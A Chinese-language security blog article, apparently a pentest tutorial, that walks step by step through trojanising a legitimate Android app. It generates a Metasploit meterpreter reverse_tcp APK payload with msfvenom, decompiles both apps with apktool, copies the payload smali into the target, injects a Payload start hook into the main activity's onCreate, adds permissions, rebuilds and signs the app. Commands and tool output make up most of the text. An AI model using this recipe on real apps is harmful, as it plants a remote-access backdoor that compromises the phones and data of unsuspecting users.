导语:大多数安卓应用程序都对底层二进制文件缺乏足够的防护,所以攻击者可以很简单的将带有后门的应用程序转换为合法的。这就是安卓手机中恶意软件传播如此迅速的原因之一。
在移动安全评估中,我们尝试将一些常用的应用程序加载上后门,并且加上后门之后应用程序毫无异常。这就可以用来证明如果使用的应用程序被种上后门,使用者会毫无知觉。
步骤一:生成攻击载荷
metasploit中的msfvenom可以生成多种类型的攻击载荷,当然我们也可以使用它来生成一个包含msf后门的apk。
使用如下命令:
1 2 3 4 5 6 |
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.169 LPORT=4444 R > pentestlab.apk No platform was selected, choosing Msf::Module::Platform::Android from the payload No Arch selected, selecting Arch: dalvik from the payload No encoder or badchars specified, outputting raw payload Payload size: 8839 bytes |
步骤二:逆向apk文件
首先,要对目标文件以及刚刚生成的apk文件进行反编译。使用的工具为众所周知的apktool。下面命令会将apk反编译,然后将反编译出来的代码保存到一个后缀名为smail的文件中:
1 2 3 4 5 6 7 8 9 10 11 12 |
java -jar apktool.jar d -f -o payload /root/Downloads/pentestlab.apk I: Using Apktool 2.2.2 on pentestlab.apk I: Loading resource table... I: Decoding AndroidManifest.xml with resources... I: Loading resource table from file: /root/.local/share/apktool/framework/1.apk I: Regular manifest package... I: Decoding file-resources... I: Decoding values */* XMLs... I: Baksmaling classes.dex... I: Copying assets and libs... I: Copying unknown files... I: Copying original files... |
步骤三:放置后门文件
将从产生的apk中后门文件放到目标文件中,具体内容以及方式如下:
1 2 |
/root/Downloads/payload/smali/com/metasploit/stage /root/Downloads/original/smali/com/metasploit/stage |
步骤四:注入hook
我们必须检测安卓应用程序清单文件,这样可以确定在打开安卓应用程序时进行了那些活动。进而确定我们的后门程序会不会执行:将下图中的主函数中的代码内容用后门代码替换:
1 |
;->onCreate(Landroid/os/Bundle;)V |
1 |
invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V |
步骤五:给予应用程序权限
为了使我们的后门能够更有效的工作,需要给予安卓应用程序应有的权限。可以将这些额外的权限添加到安卓清单文件中,这样的话,如果用户同意,这个应用程序就会给予后门应有的权限。
步骤六:编译应用程序
现在我们已经将后门以及权限设置注入到目标应用程序当中,我们要对源代码进行编译,同样使用apktool。
1 |
java -jar apktool.jar b /root/Downloads/original/ |
步骤七:对apk进行签名
如果apk为签名,那么apk将不能在手机中安装。默认的安装的调试签名可以在这使用:
1 |
jarsigner -verbose -keystore ~/.android/debug.keystore -storepass android -keypass android -digestalg SHA1 -sigalg MD5withRSA /root/Downloads/original/dist/target.apk androiddebugkey |
本文由 安全周 作者:空心 发表,转载请注明来源!
您必须[登录] 才能发表留言!